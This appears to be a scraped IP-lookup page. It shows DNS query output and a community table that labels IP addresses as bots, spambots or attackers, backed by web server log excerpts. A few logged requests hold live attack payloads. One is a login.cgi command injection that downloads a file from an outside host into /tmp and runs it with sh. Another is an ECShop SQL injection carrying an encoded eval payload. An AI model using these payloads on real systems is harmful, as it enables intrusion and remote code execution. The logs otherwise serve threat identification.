城市(city): unknown
省份(region): unknown
国家(country): United States of America (the)
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 75.218.195.252
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 7207
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;75.218.195.252. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025022800 1800 900 604800 86400
;; Query time: 11 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Mar 01 00:40:36 CST 2025
;; MSG SIZE rcvd: 107252.195.218.75.in-addr.arpa domain name pointer 252.sub-75-218-195.myvzw.com.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
252.195.218.75.in-addr.arpa name = 252.sub-75-218-195.myvzw.com.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 138.91.125.32 | bots | 138.91.125.32 - - [23/Apr/2019:08:10:32 +0800] "GET //wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 138.91.125.32 - - [23/Apr/2019:08:10:32 +0800] "GET //xmlrpc.php?rsd HTTP/1.1" 308 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 138.91.125.32 - - [23/Apr/2019:08:10:32 +0800] "GET / HTTP/1.1" 200 10302 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 138.91.125.32 - - [23/Apr/2019:08:10:33 +0800] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 138.91.125.32 - - [23/Apr/2019:08:10:33 +0800] "GET //wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" |
2019-04-23 08:11:21 |
| 38.143.68.212 | attack | H |
2019-05-04 08:45:22 |
| 129.204.239.125 | attack | 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 301 194 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 404 232 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 301 194 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 129.204.239.125 - - [27/Apr/2019:05:15:17 +0800] "GET /phpmyadmin HTTP/1.1" 404 232 "http://118.25.52.138/phpmyadmin" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-27 06:48:37 |
| 52.5.70.31 | spambots | 52.5.70.31 - - [22/Apr/2019:18:27:34 +0800] "GET /index.php/2019/04/19/xiaomi_2019_04_19_en/ HTTP/1.1" 200 13454 "-" "Grammarly/1.0 (http://www.grammarly.com)" |
2019-04-22 18:28:24 |
| 193.112.7.46 | attackproxy | 193.112.7.46 - - [23/Apr/2019:07:11:02 +0800] "CONNECT www.google.com:443 HTTP/1.1" 400 182 "-" "-" 193.112.7.46 - - [23/Apr/2019:07:11:02 +0800] "GET http://www.google.com/ HTTP/1.1" 301 194 "-" "curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.21 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2" 193.112.7.46 - - [23/Apr/2019:07:11:03 +0800] "\\x05\\x02\\x00\\x01" 400 182 "-" "-" 193.112.7.46 - - [23/Apr/2019:07:11:03 +0800] "\\x05\\x02\\x00\\x01" 400 182 "-" "-" 193.112.7.46 - - [23/Apr/2019:07:11:03 +0800] "\\x04\\x01\\x01\\xBBJV\\x97\\xA7\\x00" 400 182 "-" "-" 193.112.7.46 - - [23/Apr/2019:07:11:03 +0800] "\\x04\\x01\\x00PJV\\x97\\xA7\\x00" 400 182 "-" "-" |
2019-04-23 08:07:00 |
| 174.138.9.42 | botsattack | UDP port(0) attack 1/3s |
2019-05-03 18:25:37 |
| 77.247.109.112 | botsattack | 77.247.109.112 - - [25/Apr/2019:09:26:03 +0800] "GET //a2billing/customer/templates/default/footer.tpl HTTP/1.1" 404 209 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-957.10.1.el7.x86_64" |
2019-04-25 09:26:53 |
| 64.233.173.174 | botsnormal | 是正常用户但是使用了GOOGLE的语音转文本服务 64.233.173.174 - - [28/Apr/2019:17:14:36 +0800] "GET /check-ip/148.72.41.76 HTTP/1.1" 200 9994 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googl e-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" 64.233.173.174 - - [28/Apr/2019:17:14:36 +0800] "GET /static/bootstrap/js/bootstrap.min.js HTTP/1.1" 200 48944 "https://ipinfo.asytech.cn/check-ip/148.72.41.76" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Geck o) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Google-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" 64.233.172.172 - - [28/Apr/2019:17:14:36 +0800] "GET /check-ip/148.72.41.76 HTTP/1.1" 200 9862 "-" "Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 5 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko; googleweblight) Chrome/38.0.1025.166 Mobile Safari/53 5.19" 64.233.173.176 - - [28/Apr/2019:17:14:37 +0800] "GET /check-ip/148.72.41.76 HTTP/1.1" 200 10135 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Goog le-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" 64.233.173.174 - - [28/Apr/2019:17:14:37 +0800] "GET /static/bootstrap/js/popper.min.js HTTP/1.1" 200 19188 "https://ipinfo.asytech.cn/check-ip/148.72.41.76" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Google-Read-Aloud; +https://support.google.com/webmasters/answer/1061943)" |
2019-04-28 17:49:13 |
| 52.91.66.205 | bots | 52.91.66.205 - - [30/Apr/2019:14:53:53 +0800] "GET /index.php/2019/04/25/baidu_2019_04_25_en/ HTTP/1.1" 200 13292 "-" "NewsGator FetchLinks extension/0.3.1 (http://graemef.com)" |
2019-04-30 14:55:58 |
| 203.208.60.44 | bots | google adsense爬虫 203.208.60.44 - - [26/Apr/2019:16:00:44 +0800] "GET / HTTP/1.1" 200 3419 "-" "Mediapartners-Google" 203.208.60.22 - - [26/Apr/2019:16:00:47 +0800] "GET /static/bootstrap/js/jquery-3.2.1.slim.min.js HTTP/1.1" 200 69597 "https://ipinfo.asytech.cn/" "Mediapartners-Google" 203.208.60.6 - - [26/Apr/2019:16:00:49 +0800] "GET /static/bootstrap/js/bootstrap.min.js HTTP/1.1" 200 48944 "https://ipinfo.asytech.cn/" "Mediapartners-Google" 203.208.60.95 - - [26/Apr/2019:16:00:51 +0800] "GET /static/bootstrap/css/bootstrap.min.css HTTP/1.1" 200 144877 "https://ipinfo.asytech.cn/" "Mediapartners-Google" 203.208.60.20 - - [26/Apr/2019:16:00:53 +0800] "GET /static/bootstrap/js/popper.min.js HTTP/1.1" 200 19188 "https://ipinfo.asytech.cn/" "Mediapartners-Google" |
2019-04-26 16:04:48 |
| 118.89.144.131 | attack | 118.89.144.131 - - [01/May/2019:08:35:03 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 182 "-" "LMAO/2.0" |
2019-05-01 08:36:01 |
| 188.138.102.91 | bots | 看样子是广告相关爬虫 188.138.102.91 - - [30/Apr/2019:16:49:06 +0800] "GET / HTTP/1.1" 200 3312 "-" "admantx-adform/3.1 (+http://www.admantx.com/service-fetcher.html)" |
2019-04-30 17:00:39 |
| 49.83.231.243 | attack | 49.83.231.243 - - [24/Apr/2019:05:55:05 +0800] "POST /user.php HTTP/1.1" 404 467 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\\"id\\";s:3:\\"'/*\\";s:3:\\"num\\";s:201:\\"*/ union select 1,0x2
72F2A,3,4,5,6,7,8,0x7b247b24687a6c6c616761275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262614870736247466e595630704f773d3d2729293b2f2f7d7d,0--\\";s:4:
\\"name\\";s:3:\\"ads\\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
49.83.231.243 - - [24/Apr/2019:05:55:06 +0800] "POST /user.php HTTP/1.1" 404 471 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\\"id\\";s:3:\\"'/*\\";s:3:\\"num\\";s:201:\\"*/ union select 1,0x2
72F2A,3,4,5,6,7,8,0x7b247b24687a6c6c616761275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262614870736247466e595630704f773d3d2729293b2f2f7d7d,0--\\";s:4:
\\"name\\";s:3:\\"ads\\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" |
2019-04-24 06:15:34 |
| 54.71.187.124 | bots | 不像是真是流量 54.71.187.124 - - [25/Apr/2019:14:27:54 +0800] "GET /check-ip/205.253.71.49&ss=gp&rt=205.253.71.49+-+IPInfo&cd=KhQxMTkxODIwODQ2MjE3NzMxNDgzMTIcMTY5ODc4MjM1OGU5ZTBhYjpjby5pbjplbjpJTg&ssp=AMJHsmUXt_t7EHGEK42zuFRxvhRFDBsVyw HTTP/1.1" 200 2847 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" 54.71.187.124 - - [25/Apr/2019:14:27:55 +0800] "GET /static/bootstrap/js/popper.min.js HTTP/1.1" 200 19188 "https://ipinfo.asytech.cn/check-ip/205.253.71.49&ss=fb&rt=205.253.71.49+-+IPInfo&cd=KhQxMTkxODIwODQ2MjE3NzMxNDgzMTIcMTY5ODc4MjM1OGU5ZTBhYjpjby5pbjplbjpJTg&ssp=AMJHsmUXt_t7EHGEK42zuFRxvhRFDBsVyw" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0" 54.71.187.124 - - [25/Apr/2019:14:27:55 +0800] "GET /static/bootstrap/js/jquery-3.2.1.slim.min.js HTTP/1.1" 200 69597 "https://ipinfo.asytech.cn/check-ip/205.253.71.49&ss=fb&rt=205.253.71.49+-+IPInfo&cd=KhQxMTkxODIwODQ2MjE3NzMxNDgzMTIcMTY5ODc4MjM1OGU5ZTBhYjpjby5pbjplbjpJTg&ssp=AMJHsmUXt_t7EHGEK42zuFRxvhRFDBsVyw" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0" 54.71.187.124 - - [25/Apr/2019:14:27:55 +0800] "GET /static/bootstrap/css/bootstrap.min.css HTTP/1.1" 200 144877 "https://ipinfo.asytech.cn/check-ip/205.253.71.49&ss=gp&rt=205.253.71.49+-+IPInfo&cd=KhQxMTkxODIwODQ2MjE3NzMxNDgzMTIcMTY5ODc4MjM1OGU5ZTBhYjpjby5pbjplbjpJTg&ssp=AMJHsmUXt_t7EHGEK42zuFRxvhRFDBsVyw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36" |
2019-04-25 14:29:46 |
| 59.111.30.195 | attackproxy | 59.111.30.195 - - [24/Apr/2019:08:22:57 +0800] "\\x04\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" 59.111.30.195 - - [24/Apr/2019:08:22:57 +0800] "\\x05\\x03\\x00\\x01\\x02" 400 182 "-" "-" 59.111.30.195 - - [24/Apr/2019:08:22:57 +0800] "GET http://baidu.com/ HTTP/1.1" 400 682 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" |
2019-04-24 08:57:51 |